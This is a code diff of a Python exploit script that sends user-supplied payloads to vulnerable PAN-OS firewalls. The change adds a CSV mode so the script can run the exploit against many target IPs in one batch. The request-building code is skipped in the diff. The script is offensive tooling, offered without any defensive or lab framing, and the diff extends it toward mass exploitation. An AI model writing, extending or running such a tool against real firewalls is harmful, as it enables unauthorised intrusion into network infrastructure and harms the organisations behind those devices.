| 1 | + | import csv |
1 | 2 | | import requests |
2 | 3 | | |
3 | 4 | | def exploit_firewall(target_ip, payload, root_ca=None): |
| skipped 19 lines |
23 | 24 | | response.raise_for_status() |
24 | 25 | | |
25 | 26 | | if "Success" in response.text: |
26 | | - | print("Exploited successfully!") |
| 27 | + | print(f"Exploited successfully against {target_ip}!") |
27 | 28 | | else: |
28 | | - | print("Exploit failed.") |
| 29 | + | print(f"Exploit failed for {target_ip}.") |
29 | 30 | | print("Response:") |
30 | 31 | | print(response.text) |
31 | 32 | | |
32 | 33 | | except requests.exceptions.RequestException as e: |
33 | | - | print(f"Failed to exploit: {e}") |
| 34 | + | print(f"Failed to exploit {target_ip}: {e}") |
34 | 35 | | |
35 | 36 | | def main(): |
36 | | - | while True: |
37 | | - | target_ip = input("Enter the IP address of the vulnerable PAN-OS firewall (or 'q' to quit): ") |
38 | | - | if target_ip.lower() == 'q': |
39 | | - | break |
40 | | - | root_ca = input("Enter the path to the root CA certificate (leave blank to disable certificate verification): ").strip() |
41 | | - | payload = input("Enter the payload to execute: ") |
42 | | - | exploit_firewall(target_ip, payload, root_ca) |
| 37 | + | choice = input("Do you want to enter values directly (D) or use a CSV file (C)? ").strip().lower() |
| 38 | + | |
| 39 | + | if choice == 'd': |
| 40 | + | while True: |
| 41 | + | target_ip = input("Enter the IP address of the vulnerable PAN-OS firewall (or 'q' to quit): ") |
| 42 | + | if target_ip.lower() == 'q': |
| 43 | + | break |
| 44 | + | root_ca = input("Enter the path to the root CA certificate (leave blank to disable certificate verification): ").strip() |
| 45 | + | payload = input("Enter the payload to execute: ") |
| 46 | + | exploit_firewall(target_ip, payload, root_ca) |
| 47 | + | elif choice == 'c': |
| 48 | + | csv_file = input("Enter the path to the CSV file: ") |
| 49 | + | |
| 50 | + | with open(csv_file, newline='') as csvfile: |
| 51 | + | reader = csv.reader(csvfile) |
| 52 | + | next(reader) # Skip header row if present |
| 53 | + | for row in reader: |
| 54 | + | target_ip, payload, root_ca = row |
| 55 | + | exploit_firewall(target_ip, payload, root_ca) |
| 56 | + | else: |
| 57 | + | print("Invalid choice. Please enter 'D' for entering values directly or 'C' for using a CSV file.") |
43 | 58 | | |
44 | 59 | | if __name__ == "__main__": |
45 | 60 | | main() |
46 | 61 | | |
47 | | - | |
48 | | - | |